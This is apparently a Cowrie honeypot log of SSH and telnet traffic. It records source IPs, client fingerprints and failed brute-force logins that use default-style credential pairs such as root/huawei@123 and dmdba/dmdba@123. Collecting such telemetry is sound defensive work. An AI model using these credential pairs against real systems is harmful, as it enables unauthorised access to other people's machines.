{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:39.412452Z","src_ip":"159.203.92.129","session":"7763a9b89163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"1234","message":"login attempt [anna/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:39.423385Z","src_ip":"159.203.92.129","session":"7763a9b89163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.864558696746826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:39.634599Z","src_ip":"114.23.51.89","session":"c1d4542ae54b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.543426275253296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:40.075187Z","src_ip":"5.189.169.71","session":"1b39bf0d686c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":32904,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfe1a6a410a3","protocol":"telnet","message":"New connection: 185.207.250.135:32904 (159.203.135.109:23) [session: cfe1a6a410a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:40.336793Z"}
{"eventid":"cowrie.session.closed","duration":30.971140384674072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:40.353339Z","src_ip":"114.23.51.89","session":"cdb8f465d0d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:40.429598Z","src_ip":"159.203.92.129","session":"7763a9b89163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54358,"dst_ip":"10.17.0.5","dst_port":22,"session":"6307b7fcd243","protocol":"ssh","message":"New connection: 176.65.139.103:54358 (10.17.0.5:22) [session: 6307b7fcd243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:40.623977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:40.748854Z","src_ip":"176.65.139.103","session":"6307b7fcd243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:40.752582Z","src_ip":"176.65.139.103","session":"6307b7fcd243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35202,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b58a4bf19e","protocol":"telnet","message":"New connection: 5.189.169.71:35202 (10.17.0.5:23) [session: f2b58a4bf19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:41.319477Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:41.441510Z","src_ip":"176.65.139.103","session":"6307b7fcd243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.210936069488525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:41.612692Z","src_ip":"114.23.51.89","session":"de4fefb27cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35206,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e141a1dd5bc","protocol":"telnet","message":"New connection: 5.189.169.71:35206 (10.17.0.5:23) [session: 5e141a1dd5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:42.458667Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:42.783066Z","src_ip":"176.65.139.103","session":"6307b7fcd243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":45476,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca8053c4a7b","protocol":"telnet","message":"New connection: 114.23.51.89:45476 (159.203.135.109:23) [session: 0ca8053c4a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:43.521223Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45626,"dst_ip":"159.203.135.109","dst_port":23,"session":"c358be8a3f77","protocol":"telnet","message":"New connection: 23.254.167.244:45626 (159.203.135.109:23) [session: c358be8a3f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:44.323720Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45744,"dst_ip":"159.203.135.109","dst_port":23,"session":"0613b069e64c","protocol":"telnet","message":"New connection: 23.254.167.244:45744 (159.203.135.109:23) [session: 0613b069e64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:44.460633Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35210,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0fb0603b3ac","protocol":"telnet","message":"New connection: 5.189.169.71:35210 (10.17.0.5:23) [session: b0fb0603b3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:44.730218Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53252,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d7f0cbccaff","protocol":"ssh","message":"New connection: 176.65.139.103:53252 (10.17.0.5:22) [session: 3d7f0cbccaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:47.282514Z"}
{"eventid":"cowrie.session.closed","duration":30.89267349243164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:47.383929Z","src_ip":"209.159.146.115","session":"f2284f1a1d25","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:47.427254Z","src_ip":"176.65.139.103","session":"3d7f0cbccaff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:47.430985Z","src_ip":"176.65.139.103","session":"3d7f0cbccaff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.948896408081055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:47.520867Z","src_ip":"114.23.51.89","session":"676645e0eb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39452,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a30a6cfc357","protocol":"telnet","message":"New connection: 114.23.51.89:39452 (159.203.135.109:23) [session: 9a30a6cfc357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:47.833104Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50408,"dst_ip":"159.203.135.109","dst_port":23,"session":"3087e4897627","protocol":"telnet","message":"New connection: 23.254.167.244:50408 (159.203.135.109:23) [session: 3087e4897627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:47.978617Z"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:48.319269Z","src_ip":"176.65.139.103","session":"3d7f0cbccaff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:49.517125Z","src_ip":"176.65.139.103","session":"3d7f0cbccaff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":33008,"dst_ip":"10.17.0.5","dst_port":23,"session":"45820f914cd5","protocol":"telnet","message":"New connection: 5.189.169.71:33008 (10.17.0.5:23) [session: 45820f914cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:49.925579Z"}
{"eventid":"cowrie.session.closed","duration":30.28624200820923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:51.225908Z","src_ip":"185.207.250.135","session":"06f9a6b46204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50804,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b6ad1099ace","protocol":"telnet","message":"New connection: 23.254.167.244:50804 (159.203.135.109:23) [session: 1b6ad1099ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:51.529244Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55584,"dst_ip":"159.203.135.109","dst_port":23,"session":"526cd60ec02c","protocol":"telnet","message":"New connection: 23.254.167.244:55584 (159.203.135.109:23) [session: 526cd60ec02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:52.749629Z"}
{"eventid":"cowrie.session.closed","duration":36.567121267318726,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:53.587550Z","src_ip":"23.254.167.244","session":"37f0aab97d59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":33012,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ef4fe7815c","protocol":"telnet","message":"New connection: 5.189.169.71:33012 (10.17.0.5:23) [session: e6ef4fe7815c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:53.704662Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39162,"dst_ip":"10.17.0.5","dst_port":22,"session":"16230802ff62","protocol":"ssh","message":"New connection: 176.65.139.103:39162 (10.17.0.5:22) [session: 16230802ff62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:54.033626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:54.163279Z","src_ip":"176.65.139.103","session":"16230802ff62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:54.166658Z","src_ip":"176.65.139.103","session":"16230802ff62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:54.866905Z","src_ip":"176.65.139.103","session":"16230802ff62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57376,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fb1a41e864c","protocol":"telnet","message":"New connection: 23.254.167.244:57376 (159.203.135.109:23) [session: 2fb1a41e864c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:54.914220Z"}
{"eventid":"cowrie.session.closed","duration":30.68069577217102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:55.091474Z","src_ip":"5.189.169.71","session":"e2aa7aad17f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:55.962544Z","src_ip":"176.65.139.103","session":"16230802ff62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.925841569900513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:56.199896Z","src_ip":"209.159.146.115","session":"fe874bd2a003","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59430,"dst_ip":"159.203.135.109","dst_port":23,"session":"01ef76e93245","protocol":"telnet","message":"New connection: 23.254.167.244:59430 (159.203.135.109:23) [session: 01ef76e93245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:57.420533Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59726,"dst_ip":"159.203.135.109","dst_port":23,"session":"d444adb5396f","protocol":"telnet","message":"New connection: 23.254.167.244:59726 (159.203.135.109:23) [session: d444adb5396f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:58.683830Z"}
{"eventid":"cowrie.session.closed","duration":30.504048347473145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:00.309602Z","src_ip":"114.23.51.89","session":"662985f4b4dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39170,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a41634b13b","protocol":"ssh","message":"New connection: 176.65.139.103:39170 (10.17.0.5:22) [session: 49a41634b13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:00.633357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:00.638295Z","src_ip":"176.65.139.103","session":"49a41634b13b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:00.720622Z","src_ip":"176.65.139.103","session":"49a41634b13b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:00.981156Z","src_ip":"176.65.139.103","session":"49a41634b13b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:02.098611Z","src_ip":"176.65.139.103","session":"49a41634b13b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37196,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8fd0957bd7f","protocol":"telnet","message":"New connection: 5.189.169.71:37196 (10.17.0.5:23) [session: e8fd0957bd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:04.227325Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37212,"dst_ip":"10.17.0.5","dst_port":23,"session":"00283bbe6159","protocol":"telnet","message":"New connection: 5.189.169.71:37212 (10.17.0.5:23) [session: 00283bbe6159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:04.353637Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51354,"dst_ip":"10.17.0.5","dst_port":22,"session":"a26830a73819","protocol":"ssh","message":"New connection: 176.65.139.103:51354 (10.17.0.5:22) [session: a26830a73819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:06.862031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:06.912827Z","src_ip":"176.65.139.103","session":"a26830a73819","protocol":"ssh"}
